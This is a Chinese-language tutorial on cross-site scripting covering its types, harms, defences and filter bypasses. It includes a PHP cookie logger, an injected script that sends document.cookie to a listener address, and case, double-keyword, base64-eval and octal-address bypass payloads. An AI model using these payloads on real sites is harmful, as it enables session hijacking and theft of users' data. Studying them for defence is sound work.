一.原理
XSS跨站脚本攻击原称CSS,但为了与层叠样式表CSS区分所以称为XSS。主要是指攻击者在web页面插入恶意的script代码,当用户浏览该页面之时,嵌入其中的script代码会被执行,然后获取用户cookie、或者用户在网页中其他的高级权限以及其他隐私,从而达到恶意攻击用户的目的。
主要产生于前端的JavaScript代码中。
常见的容易产生XSS跨站攻击漏洞的参数有:
print、print_r、echo、printf、sprintf、die、var_dump、var_export
二.分类
XSS跨站脚本攻击主要分为反射型、存储型、DOM树型三种、
1.反射型(非持久型)
原理:
通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。
其特点往往具有一次性,代码被触发以后就执行,但执行完一次即作废。是当前最常见的XSS攻击。
存在方式:
反射型XSS跨站脚本攻击主要存在于邮件、提交表单、链接等地方。当攻击者将包含有恶意攻击语句的链接发送给目标用户后,用户触发后服务器将含有恶意代码的链接解析并执行用户请求。就会触发该漏洞,使用户遭受恶意攻击。
payload:触发弹窗
<script>alert('1')</script>
2.存储型(持久性)
原理:
存储型与反射型的差别就是,存储型XSS通过拼接正常的JS语句使攻击脚本植入数据库,攻击者将XSS代码发送给了后端,而后端没有对这些代码做处理直接存储在数据库中。当用户访问网站时,又直接从数据库调用出来传给前端,前端解析XSS代码就造成了XSS攻击。
存在方式:
存储型XSS攻击经常出现在博客和留言板中,攻击者在留言时将恶意脚本语句混入正常帖子的内容中被服务器存储在数据库中。当其他用户浏览这个被注入了恶意脚本的留言时,就会触发恶意脚本,造成XSS工具。
paload:
(1).创建一个获取cookie的脚本语句,和存放cookie的文件
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","w");
fwrite($log,$cookie."\n");
fclose($log);
?>
(2).在网站页面内注入代码语句,将获取的cookie写入cookie.txt文件中
<script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
注:127.0.0.1是监听地址,当用户触发脚本攻击时,攻击代码会将获取到的cookie等信息返回监听地址并写入txt文件。
3.DOM树型
原理:
DOM型跨站脚本攻击与存储型不一样,是一种特殊的反射型XSS。它是基于DOM文档对象的一种模型,不依靠数据库。
因为DOM文档是一种由XML、HTML文档组成的,HTML的模型如下。其中有很对可更改的节点,每个节点代表文档中的一个元素、属性、文本。
因此,只要在相应的<title></title>、<a></a>、<img></img>等页面插入相应的payload就会触发脚本攻击,达到攻击者目的
例:
<img src=a onerror="alert('1')"/>
还有其他的像UXSS(通用型)、MXSS(突变型)、UTF-7 XSS、UXSS、Flash XSS、MhtmlXSS、CSS XSS、VBScript XSS几种不常见的分类。
三.危害
- 网页挂马、网络钓鱼
- 盗用cookie,获取用户敏感信息
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限
- 不正当投票等
四.防御
- 过滤危险字符
- HTTP-only Cookie: 禁止 JavaScript 读取Cookie等敏感信息
- 设置CSP(Content Security Policy)
- 输入内容长度限制,转义。
五.绕过
(1).大小写绕过
<IMg SRc=A OnErRoR=AleRt("");>
(2).双写关键字绕过
<imgimgg srsrcc=a onerror=alert("1");>
(3).base64编码绕过
<img src="a" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
(4).进制转换
<img src="a" onerror=document.location='http://0177.0.0.01/'>